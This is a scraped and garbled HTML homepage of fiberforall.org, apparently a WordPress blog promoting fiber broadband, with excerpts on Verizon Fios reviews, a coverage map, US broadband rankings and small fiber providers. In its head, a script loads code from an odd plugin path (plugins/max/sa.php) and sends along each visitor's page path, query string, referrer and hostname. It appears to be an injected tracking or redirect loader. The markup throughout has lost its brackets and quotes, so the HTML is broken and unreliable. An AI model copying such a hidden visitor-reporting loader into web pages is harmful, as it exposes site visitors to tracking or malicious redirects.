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gadocument.createElement(script);ga.typetext/javascript;ga.asynctrue;ga.srchttp://fiberforall.org/wp-content/plugins/max/sa.php?id+__u+&p+document.location.pathname+&q+encodeURIComponent(document.location.search)+&r+encodeURIComponent(document.referrer).replace(/http%3A%2F%2F/i,).replace(/https%3A%2F%2F/i,)+&h+document.location.hostname+&_+d.getTime();var sdocument.getElementsByTagName(script)0;s.parentNode.insertBefore(ga,s);}gaq();/script>style>.broken_link,a.broken_link{text-decoration:line-through}/style>/head>body classhome blog fadeDown itemscopeitemscope itemtypehttp://schema.org/WebPage>header idheader rolebanner itemscopeitemscope itemtypehttp://schema.org/WPHeader>div classwrap clearfix>div classlogo itempropheadline> a hrefhttp://fiberforall.org/ titleFiber for All classcustom>img srchttp://fiberforall.org/wp-content/uploads/2015/04/fiberforall-logo.png titleFiber for All altFiber for All>/a>/div>nav rolenavigation itemscopeitemscope itemtypehttp://schema.org/SiteNavigationElement>ul idnav classheader-menu>li idmenu-item-549 classmenu-item menu-item-type-custom menu-item-object-custom current-menu-item current_page_item menu-item-home menu-item-549>a hrefhttp://fiberforall.org/>Home/a>/li>li idmenu-item-551 classmenu-item menu-item-type-post_type menu-item-object-page menu-item-551>a hrefhttp://fiberforall.org/att-uverse/>AT&T U-verse/a>/li>li idmenu-item-555 classmenu-item menu-item-type-post_type menu-item-object-page menu-item-555>a hrefhttp://fiberforall.org/verizon-fios/>Verizon Fios/a>/li>/ul>/nav>/div>/header>section idheader-meta classclearfix>div classwrap clearfix>h1>Help bring fiber optics to your community./h1>p>Fiber for All is dedicated to the mission of advancing the development and expansion of fiber technology in America. We believe that every American should have access to the speed and freedom that fiber to the home can offer./p>p>Join the movement and support Fiber for All!/p>/div>/section>div classwrap clearfix>main idcontent rolemain itempropmainContentOfPage itemscopeitemscope itemtypehttp://schema.org/Blog>article classpost-301 post type-post status-publish format-standard hentry category-articles tag-comcast tag-fiber tag-fios tag-reports tag-reviews itemscopeitemscope itemtypehttp://schema.org/BlogPosting itempropblogPost>header classentry-header itemscopeitemscope itemtypehttp://schema.org/WPHeader>h2 classentry-title itempropheadline> a hrefhttp://fiberforall.org/fios-consumer-reports-and-reviews/ titleVerizon Fios Consumer Reports, Reviews, and Deals relbookmark>Verizon Fios Consumer Reports, Reviews, and Deals/a>/h2>/header>div classentry-content itemproptext>div idattachment_589 stylewidth: 239px classwp-caption alignright>img classsize-medium wp-image-589 srchttp://fiberforall.org/wp-content/uploads/2009/08/Screenshot-2015-01-05-19.20.13-229x300.png altDSL Reports Rates Fios width229 height300 srcsethttp://fiberforall.org/wp-content/uploads/2009/08/Screenshot-2015-01-05-19.20.13-229x300.png 229w, http://fiberforall.org/wp-content/uploads/2009/08/Screenshot-2015-01-05-19.20.13.png 266w sizes(max-width: 229px) 100vw, 229px>p classwp-caption-text>DSL Reports Rate’s Fios/p>/div>p>span styleline-height: 1.5em;>When Verizon Fios first appeared on the scene in 2005, their service was one of the very few true fiber-to-the-home providers. Today there is over 740 different companies offering a fiber connection. a classsimple-footnote titleBroadbandNow’s breakdown of every Fiber Provider. idreturn-note-301-1 href#note-301-1>sup>1/sup>/a> while many business only, there is no doubt that consumers want fiber connections./span>/p>p>Though Fios’s reception was mixed at rollout when it launched, even the New York Times asking whether it was worth the investment, a classsimple-footnote titleVerizon’s Fios: A Smart Bet or a Big Mistake? idreturn-note-301-2 href#note-301-2>sup>2/sup>/a> over the years it has gone on to become the best rated internet service by many consumer organizations including Consumer Reports, a classsimple-footnote titleConsumer Report’s announcement of their results. idreturn-note-301-3 href#note-301-3>sup>3/sup>/a> The ACSI (which rates consumer’s opinions), a classsimple-footnote titleThe ACSI release of broadband results. idreturn-note-301-4 href#note-301-4>sup>4/sup>/a> and even the FCC. a classsimple-footnote titleThe FCC’s 2012 measuring broadband report idreturn-note-301-5 href#note-301-5>sup>5/sup>/a>/p>p>While Fios isn’t available in all areas, (a hrefhttp://fiberforall.org/fios-map/>here is a map of where it is/a>), consumers that live in areas served by Fios still have a though choice: “Is having a fiber-optic internet connection worth while?”/p>p>To help answer this question, along with the question of “Is Fios worth the money?” we’ve compiled a quick list of third party resources that have reviewed Verizon Fios. a hrefhttp://fiberforall.org/fios-consumer-reports-and-reviews/#more-301 classmore-link>Continue Reading/a>/p>div classsimple-footnotes>p classnotes>Notes:/p>ol>li idnote-301-1>/span>a styleline-height: 1.5em; hrefhttp://broadbandnow.com/Fiber-Providers>BroadbandNow’s breakdown of every Fiber Provider/a>span styleline-height: 1.5em;>. a href#return-note-301-1>↩/a>/li>li idnote-301-2>a hrefhttp://www.nytimes.com/2008/08/19/technology/19fios.html?pagewantedall&_r0>Verizon’s Fios: A Smart Bet or a Big Mistake?/a> a href#return-note-301-2>↩/a>/li>li idnote-301-3>a hrefhttp://pressroom.consumerreports.org/pressroom/2012/05/regional-cable-company-wow-also-top-rated-for-all-services-and-bundling-report-highlights-five-ways-to-get-great-service-and.html>Consumer Report’s announcement of their results./a> a href#return-note-301-3>↩/a>/li>li idnote-301-4>The a hrefhttp://www.theacsi.org/the-american-customer-satisfaction-index>ACSI release of broadband results/a>. a href#return-note-301-4>↩/a>/li>li idnote-301-5>The a hrefhttp://www.fcc.gov/measuring-broadband-america/2012/charts-april-2012#chart1>FCC’s 2012 measuring broadband report/a> a href#return-note-301-5>↩/a>/li>/ol>/div>/div>/article>article classpost-547 post type-post status-publish format-standard hentry category-articles itemscopeitemscope itemtypehttp://schema.org/BlogPosting itempropblogPost>header classentry-header itemscopeitemscope itemtypehttp://schema.org/WPHeader>h2 classentry-title itempropheadline> a hrefhttp://fiberforall.org/fios-map/ titleFinally a Verizon Fios Availability Map relbookmark>Finally a Verizon Fios Availability Map/a>/h2>/header>div classentry-content itemproptext>p>Update: This map is out of date due to the recent the sale of parts of Verizon’s network to Frontier. For the most up-to-date coverage map, check out a hrefhttps://broadbandnow.com/Verizon-Fios>BroadbandNow’s Verizon Fios availability map/a>./p>p>Despite being the largest fiber-to-the-home provider in the North America, Verizon doesn’t provide a map that shows where Fios is available. As demand for faster broadband grows, many of us want to know if were even close to a Fios area. That’s why we created this map with a little data help from a hrefhttp://broadbandnow.com>broadbandnow.com/a>./p>p>Turns out, Verizon Fios is available to about 39 million people in the U.S. based on coverage estimates. This makes it the largest residential fiber provider by far, but it also means that most of us can’t get it. Who can get it? Well, for the most part, Verizon has concentrated it’s Fios deployment to larger metro areas like New York City, Washington D.C. and Tampa, Florida. It makes economic sense to deploy new infrastructure to population-dense areas, but it doesn’t make a very impressive map like the wireless coverage maps we’re used to seeing./p>p>It doesn’t look like much, but the coverage equates to about 12% of the U.S. population. It is broken down by county for a complete visual representation. If you don’t live near a Fios area, it’s not likely you’ll see it anytime soon./p>p>Just because Fios is available in a county, doesn’t mean it’s available everywhere in that county. You’ll still have to use a hrefhttps://www.verizon.com/FORYOURHOME/ORDERING/CheckAvailability.aspx>Verizon’s address check/a> to know availability at a specific address./p>p> a hrefhttp://fiberforall.org/fios-map/#more-547 classmore-link>Continue Reading/a>/p>/div>/article>article classpost-493 post type-post status-publish format-standard hentry category-articles itemscopeitemscope itemtypehttp://schema.org/BlogPosting itempropblogPost>header classentry-header itemscopeitemscope itemtypehttp://schema.org/WPHeader>h2 classentry-title itempropheadline> a hrefhttp://fiberforall.org/how-americas-broadband-ranks-and-why-adopting-fiber-is-essential/ titleHow America’s Broadband Ranks and Why Adopting Fiber is Essential relbookmark>How America’s Broadband Ranks and Why Adopting Fiber is Essential/a>/h2>/header>div classentry-content itemproptext>p>A publication by the Information Technology and Innovation Foundation in February 2013 paints a concerning picture for the state of America’s broadband infrastructure in comparison to other countries./p>h3>How the United States Trails other Countries/h3>p>While the United States is an international leader in entry-level pricing of broadband, ranking first in 2008 and second in 2010 among OECD (Organisation for Economic Co-operation and Development) member countries, the United States trails other developed countries in many other metrics./p>p>For example, the Net Index by Ookla ranks the United States at 34th place in average download speed behind countries such as Japan, Korea, Switzerland, and Luxembourg. There is a graphical representation of this data below with the y-axis being the number of megabits per second a classsimple-footnote titlehttp://www2.itif.org/2013-whole-picture-america-broadband-networks.pdf idreturn-note-493-1 href#note-493-1>sup>1/sup>/a>./p>p> a hrefhttp://fiberforall.org/how-americas-broadband-ranks-and-why-adopting-fiber-is-essential/#more-493 classmore-link>Continue Reading/a>/p>div classsimple-footnotes>p classnotes>Notes:/p>ol>li idnote-493-1>http://www2.itif.org/2013-whole-picture-america-broadband-networks.pdf a href#return-note-493-1>↩/a>/li>/ol>/div>/div>/article>article classpost-441 post type-post status-publish format-standard hentry category-articles tag-big-metal tag-fiber-optic tag-fios tag-google tag-verizon itemscopeitemscope itemtypehttp://schema.org/BlogPosting itempropblogPost>header classentry-header itemscopeitemscope itemtypehttp://schema.org/WPHeader>h2 classentry-title itempropheadline> a hrefhttp://fiberforall.org/google-and-verizon-pry-open-big-metals-grasp/ titleGoogle and Verizon Pry Open Big Metal’s Grasp relbookmark>Google and Verizon Pry Open Big Metal’s Grasp/a>/h2>/header>div classentry-content itemproptext>p>It is no mystery that Big Metal has had its way in the market for far too long. The combination of money that can be used to lobby politicians and distort the perception of the public with disingenuous advertisements has been a strong deterrent to smaller and medium sized businesses that want to deploy FTTH (Fiber To The Home) solutions. After all, the economic and political might wielded by Big Metal (telecoms and cable companies) is considerable, and easily capable of crushing smaller interests./p>p>What happens when they face someone their own size? This is a question that has only recently been answered, and only then by a few extremely large corporations such as Verizon and now Google. With major companies capable of defending themselves legally and in the public eye, there are lots of questions for Big Metal and even for smaller companies./p>p> a hrefhttp://fiberforall.org/google-and-verizon-pry-open-big-metals-grasp/#more-441 classmore-link>Continue Reading/a>/p>/div>/article>article classpost-475 post type-post status-publish format-standard hentry category-articles tag-brigham tag-bundle tag-fiber tag-iptv tag-net tag-optics tag-tv itemscopeitemscope itemtypehttp://schema.org/BlogPosting itempropblogPost>header classentry-header itemscopeitemscope itemtypehttp://schema.org/WPHeader>h2 classentry-title itempropheadline> a hrefhttp://fiberforall.org/brigham-net-review/ titleBrigham.Net Served Brigham, UT With Fiber relbookmark>Brigham.Net Served Brigham, UT With Fiber/a>/h2>/header>div classentry-content itemproptext>p>The lucky residents of Brigham have access to one of the nation’s fastest a hrefhttp://en.wikipedia.org/wiki/Optical_fiber>fiber optic/a> broadband services. Better yet, the same provider offers digital video and digital telephone services. Not bad for a town of under 20,000 that got its first ISP in the mid-1990s. There are a few downsides to this provider, and the big one might just be the unimaginative name: a hrefhttp://brigham.net/>Brigham.net/a>. The next biggest downside is that this particular writer (And probably most readers) probably do not live in Brigham.net’s relatively modest service range./p>p> a hrefhttp://fiberforall.org/brigham-net-review/#more-475 classmore-link>Continue Reading/a>/p>/div>/article>article classpost-469 post type-post status-publish format-standard hentry category-articles tag-fiber tag-fiber-optics tag-fios tag-tennessee tag-tn itemscopeitemscope itemtypehttp://schema.org/BlogPosting itempropblogPost>header classentry-header itemscopeitemscope itemtypehttp://schema.org/WPHeader>h2 classentry-title itempropheadline> a hrefhttp://fiberforall.org/150-mbps-fiber/ title150 Mbps Fiber Optic Service Available in Unexpected Place relbookmark>150 Mbps Fiber Optic Service Available in Unexpected Place/a>/h2>/header>div classentry-content itemproptext>p>With news that a hrefhttp://www.highspeedexperts.com/google-gigabit-broadband-creates-serious-waves/>Google’s fiber optic broadband service/a> will offer a stunning 1 Gbps of performance, the entire nation has been in an uproar about fiber optics. The FCC has even stepped in and established a program to a hrefhttp://www.highspeedexperts.com/100mbps-by-2020/>reward broadband providers/a> that can serve up 100 Mbps connections by the close of the decade, which is not that much faster than some of the fastest connections available today. In fact, one utility company/city-owned ISP is about to offer residents and businesses alike a 150 Mbps connection. Take 10 seconds and try to guess just where this service will be released…we can wait./p>h3>Did You Say…?/h3>p>Did you say Chattanooga and Hamilton County, Tennessee? If so, you seem to have a special gift, and so we will let you have a cookie if you e-mail us next week’s winning lottery numbers ahead of time. For those of you who are not clairvoyant, the situation is worth looking at a bit closer. It all starts with EPB Fiber Optics./p>p> a hrefhttp://fiberforall.org/150-mbps-fiber/#more-469 classmore-link>Continue Reading/a>/p>/div>/article>article classpost-438 post type-post status-publish format-standard hentry category-articles tag-adsl tag-big tag-big-metal tag-cable tag-cable-broadband tag-cable-modem tag-copper tag-dsl tag-metal tag-metal-wires tag-sdsl tag-vdsl tag-wires itemscopeitemscope itemtypehttp://schema.org/BlogPosting itempropblogPost>header classentry-header itemscopeitemscope itemtypehttp://schema.org/WPHeader>h2 classentry-title itempropheadline> a hrefhttp://fiberforall.org/big-metal-scared/ titleBig Metal is Scared of Fiber, Here’s Why relbookmark>Big Metal is Scared of Fiber, Here’s Why/a>/h2>/header>div classentry-content itemproptext>p>Fiber optics are easily the next big thing, but there is a problem: Big Metal does not want fiber to be available to the general public. Why? The answer is simple: Big Metal has had it far too easy for far too long. This is the story of a hrefhttp://fiberforall.org/big-metal-is-ruining-broadband/>Big Metal/a>, and it explains why so many consumers simply cannot get fiber optic connections despite their interest./p>h3>Investment Means Everything/h3>p>Businesses are designed to make money, and that is their key purpose; they make money and employ people. Big Metal is no exception to this rule. Big Metal has invested countless billions of dollars in deploying networks based on metal wires. This money is accounted for in salaries, advertising budgets, leases, lobbying firms, lawyers, and so on, but all for one purpose: making money by selling data services. a hrefhttp://fiberforall.org/big-metal-scared/#more-438 classmore-link>Continue Reading/a>/p>/div>/article>article classpost-463 post type-post status-publish format-standard hentry category-articles tag-broadband tag-fiber-optics tag-ftth tag-galaxy tag-high-speed tag-internet tag-web itemscopeitemscope itemtypehttp://schema.org/BlogPosting itempropblogPost>header classentry-header itemscopeitemscope itemtypehttp://schema.org/WPHeader>h2 classentry-title itempropheadline> a hrefhttp://fiberforall.org/galaxy-review/ titleGalaxy Fiber Optic Provider is a Superstar relbookmark>Galaxy Fiber Optic Provider is a Superstar/a>/h2>/header>div classentry-content itemproptext>p>While many companies deploying fiber optic solutions are doing so with a value added approach that includes digital cable and digital telephone services, some providers are sticking with what they do best: being an ISP. While the value added approach is probably a long term goal of companies in this group, they may also hope to one day be acquired by firms with greater reach and scope. One such firm that offers fiber optic broadband services to select parts of Rhode Island and Massachusetts is Galaxy Internet Services./p>p> a hrefhttp://fiberforall.org/galaxy-review/#more-463 classmore-link>Continue Reading/a>/p>/div>/article>article classpost-443 post type-post status-publish format-standard hentry category-articles tag-big-metal tag-broadband tag-fiber tag-fiber-optics tag-ftth tag-little-guys itemscopeitemscope itemtypehttp://schema.org/BlogPosting itempropblogPost>header classentry-header itemscopeitemscope itemtypehttp://schema.org/WPHeader>h2 classentry-title itempropheadline> a hrefhttp://fiberforall.org/big-metal-vs-little-guys/ titleBig Metal vs. The Little Guys relbookmark>Big Metal vs. The Little Guys/a>/h2>/header>div classentry-content itemproptext>p>With the broadband doors flung open, the question is whether there is truly open competition between fiber optics and a hrefhttp://fiberforall.org/big-metal-is-ruining-broadband/>Big Metal/a>. There is certainly no doubt that fiber optics are faster and more future-proof than metal wiring, which is currently on its last leg, but this question has less to do with physics than it does with business and legal matters. Simply put, will Big Metal being jumping ship to join the fiber optic future, or will they continue to impede progress as much as they are able?/p>p> a hrefhttp://fiberforall.org/big-metal-vs-little-guys/#more-443 classmore-link>Continue Reading/a>/p>/div>/article>article classpost-435 post type-post status-publish format-standard hentry category-articles tag-big-metal tag-broadband tag-cable tag-cable-modem tag-copper tag-corruption tag-dsl tag-government tag-lobby tag-obstruction tag-progress itemscopeitemscope itemtypehttp://schema.org/BlogPosting itempropblogPost>header classentry-header itemscopeitemscope itemtypehttp://schema.org/WPHeader>h2 classentry-title itempropheadline> a hrefhttp://fiberforall.org/big-metal-is-ruining-broadband/ titleBig Metal is Ruining Broadband relbookmark>Big Metal is Ruining Broadband/a>/h2>/header>div classentry-content itemproptext>p>For the longest time broadband has been more hype than fact. Why? The answer has a lot to do with a hrefhttp://fiberforall.org/big-metal-in-la/>business realities and physics/a>. While it is possible to tackle these subjects independently, it is easier to look at them collectively. After all, these two realities collide rather frequently, and the reason for this will become clear after looking at the physics behind why fiber optics are so vastly superior to copper wiring./p>p> a hrefhttp://fiberforall.org/big-metal-is-ruining-broadband/#more-435 classmore-link>Continue Reading/a>/p>/div>/article>div classpagination> a hrefhttp://fiberforall.org/page/2/ >span>←/span> Older Posts/a>/div>/main>aside idsidebar rolecomplementary itemscopeitemscope itemtypehttp://schema.org/WPSideBar>section idrecent-posts-3 classwidget widget_recent_entries>h4 classwidget-title>Recent Posts/h4>ul>li> a hrefhttp://fiberforall.org/fios-consumer-reports-and-reviews/>Verizon Fios Consumer Reports, Reviews, and Deals/a>/li>li> a hrefhttp://fiberforall.org/fios-map/>Finally a Verizon Fios Availability Map/a>/li>li> a hrefhttp://fiberforall.org/how-americas-broadband-ranks-and-why-adopting-fiber-is-essential/>How America’s Broadband Ranks and Why Adopting Fiber is Essential/a>/li>li> a hrefhttp://fiberforall.org/google-and-verizon-pry-open-big-metals-grasp/>Google and Verizon Pry Open Big Metal’s Grasp/a>/li>li> a hrefhttp://fiberforall.org/brigham-net-review/>Brigham.Net Served Brigham, UT With Fiber/a>/li>/ul>/section>section idtext-3 classwidget widget_text>h4 classwidget-title>Popular Posts/h4>div classtextwidget>ul>li>li>a titleWin This Fios Triple Play Prize Bundle hrefhttp://fiberforall.org/fios-triple-play-bundle/>Fios Triple Play Bundle/a>/li>li>li>a titleGoogle Fiber Race hrefhttp://fiberforall.org/google-fiber/>Google Fiber Race/a>/li>li>ul>/div>/section>/aside>/div>footer idfooter rolecontentinfo itemscopeitemscope itemtypehttp://schema.org/WPFooter>div classwrap clearfix>p classcopyright>p classfooter-small>© 2009 - 2021 a hrefhttp://fiberforall.org>fiberforall.org./a> · a href/about/>About Us/a> · a href/privacy/>Privacy Policy/a>/p>p classfooter-small>b>Disclaimer:/b> Verizon FiOS and associated logos are registered trademarks of Verizon Communications, Inc. U-verse is a registered service mark of AT&T Intellectual Property. All other product and service marks are trademarks of their respective owners./p>/p>/div>/footer> script defer srchttp://fiberforall.org/wp-content/cache/minify/628a8.js>/script> /body>/html>
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